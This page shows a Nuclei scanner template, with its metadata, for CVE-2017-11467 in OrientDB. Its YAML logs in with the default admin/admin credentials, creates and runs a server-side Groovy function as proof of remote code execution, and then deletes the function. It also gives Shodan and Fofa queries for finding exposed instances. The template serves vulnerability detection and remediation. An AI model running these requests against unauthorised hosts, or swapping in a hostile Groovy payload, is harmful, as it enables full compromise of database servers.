SecurityContext

CVE-2017-11467: OrientDB =< 2.2.22 - Remote Code Execution

  • Template: CVE-2017-11467
  • Name: OrientDB =< 2.2.22 - Remote Code Execution
  • Description: OrientDB through 2.2.22 does not enforce privilege requirements during where/fetchplan/order-by use (CVE-2017-11467, CWE-269), letting a user with the default database credentials (admin/admin) create and execute an unsandboxed server-side Groovy function through the HTTP API (port 2480). The Groovy function runs arbitrary JVM code - and OS commands via Runtime/ProcessBuilder - achieving remote code execution. This template lists a database, creates a Groovy function that computes md5(<nonce>), triggers it, confirms code execution when the nonce's md5 is returned, and deletes the function. The payload is pure-JVM (no OS command), so it works on both Windows and Linux.
  • Impact: A remote attacker with default OrientDB credentials runs arbitrary JVM and OS commands on the database host, fully compromising it.
  • Remediation: Upgrade to OrientDB 2.2.23 or later, change the default admin/admin (and reader/writer) credentials, and restrict access to the HTTP (2480) and binary (2424) ports.
  • Severity: critical
  • Authors: DhiyaneshDk
  • Tags: cve, cve2017, orientdb, rce, groovy, intrusive, vkev
  • References: https://nvd.nist.gov/vuln/detail/CVE-2017-11467, https://ssd-disclosure.com/ssd-advisory-orientdb-code-execution/, https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/orientdb_exec.rb
  • Cves: CVE-2017-11467
  • Verified: yes
  • Max requests: 4
  • Directory: http/cves
  • Path: http/cves/2017/CVE-2017-11467.yaml
  • Digest: 4a0a004730450220337456639c55450f3343201bbeb75fef567a4e523bc7258e3a8e357cca27d77b022100a55d71c8c08ff5fe869175ac3fec2afe9a41383225537707feeb4f5e4d662748
  • Created at: 2026-11-16T00:07:18Z
  • Updated at: 2026-11-19T02:03:50Z
  • Age in days: 8
  • Template url: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2017/CVE-2017-11467.yaml
  • Checked, none or zero: products

Classification

  • Cwe: CWE-269
  • Cvss score: 9.8
  • Cvss vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Epss score: 0.85882
  • Epss percentile: 0.99733
  • Not known: cpe

Metadata

  • Fofa-query: app="OrientDB"
  • Max-request: 4
  • Shodan-query: product:"OrientDB"
  • Verified: yes

Labels

  • Name: OrientDB - Command Injection
  • Impact: Remote attackers can execute arbitrary OS commands, potentially leading to full system compromise.
  • Remediation: Update to the latest version of OrientDB that addresses this issue.
  • Vulnerability type: command_injection
  • Vulnerability impact: remote_code_execution
  • Requirement type: none
  • Labels source: projectdiscovery
  • From cve: CVE-2017-11467
  • Not known: requirements

```yaml

id: CVE-2017-11467

info:

name: OrientDB =< 2.2.22 - Remote Code Execution

author: DhiyaneshDk

severity: critical

description: |

OrientDB through 2.2.22 does not enforce privilege requirements during where/fetchplan/order-by use (CVE-2017-11467, CWE-269), letting a user with the default database credentials (admin/admin) create and execute an unsandboxed server-side Groovy function through the HTTP API (port 2480). The Groovy function runs arbitrary JVM code - and OS commands via Runtime/ProcessBuilder - achieving remote code execution. This template lists a database, creates a Groovy function that computes md5(<nonce>), triggers it, confirms code execution when the nonce's md5 is returned, and deletes the function. The payload is pure-JVM (no OS command), so it works on both Windows and Linux.

impact: |

A remote attacker with default OrientDB credentials runs arbitrary JVM and OS commands on the database host, fully compromising it.

remediation: |

Upgrade to OrientDB 2.2.23 or later, change the default admin/admin (and reader/writer) credentials, and restrict access to the HTTP (2480) and binary (2424) ports.

reference:

- https://nvd.nist.gov/vuln/detail/CVE-2017-11467

- https://ssd-disclosure.com/ssd-advisory-orientdb-code-execution/

- https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/http/orientdb_exec.rb

classification:

cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

cvss-score: 9.8

cve-id: CVE-2017-11467

epss-score: 0.85882

epss-percentile: 0.99733

cwe-id: CWE-269

metadata:

verified: true

max-request: 4

shodan-query: product:"OrientDB"

fofa-query: app="OrientDB"

tags: cve,cve2017,orientdb,rce,groovy,intrusive,vkev

variables:

num: "{{rand_int(10000000, 99999999)}}"

fname: "{{to_lower(rand_text_alpha(8))}}"

flow: http(1) && http(2) && http(3) && http(4)

http:

- raw:

- |

GET /listDatabases HTTP/1.1

Host: {{Hostname}}

Authorization: Basic YWRtaW46YWRtaW4=

matchers:

- type: dsl

dsl:

- "status_code == 200"

- "contains(body, 'databases')"

condition: and

internal: true

extractors:

- type: regex

name: db

internal: true

part: body

group: 1

regex:

- '"databases":\["([^"]+)"'

- raw:

- |

POST /document/{{db}}/-1:-1 HTTP/1.1

Host: {{Hostname}}

Authorization: Basic YWRtaW46YWRtaW4=

Content-Type: application/json;charset=UTF-8

{"@class":"ofunction","@version":0,"@rid":"#-1:-1","idempotent":null,"name":"{{fname}}","language":"groovy","code":"return java.security.MessageDigest.getInstance('MD5').digest('{{num}}'.getBytes()).encodeHex().toString();","parameters":null}

matchers:

- type: dsl

dsl:

- "status_code == 201"

internal: true

extractors:

- type: regex

name: rid

internal: true

part: body

group: 1

regex:

- '"@rid":"#([0-9]+:[0-9]+)"'

- raw:

- |

POST /function/{{db}}/{{fname}} HTTP/1.1

Host: {{Hostname}}

Authorization: Basic YWRtaW46YWRtaW4=

Content-Type: application/json

matchers:

- type: dsl

dsl:

- "contains(body, md5(num))"

- raw:

- |

DELETE /document/{{db}}/{{rid}} HTTP/1.1

Host: {{Hostname}}

Authorization: Basic YWRtaW46YWRtaW4=

matchers:

- type: dsl

dsl:

- "status_code >= 100"

internal: true

digest: 4a0a004730450220337456639c55450f3343201bbeb75fef567a4e523bc7258e3a8e357cca27d77b022100a55d71c8c08ff5fe869175ac3fec2afe9a41383225537707feeb4f5e4d662748:922c64590222798bb761d5b6d8e72950

```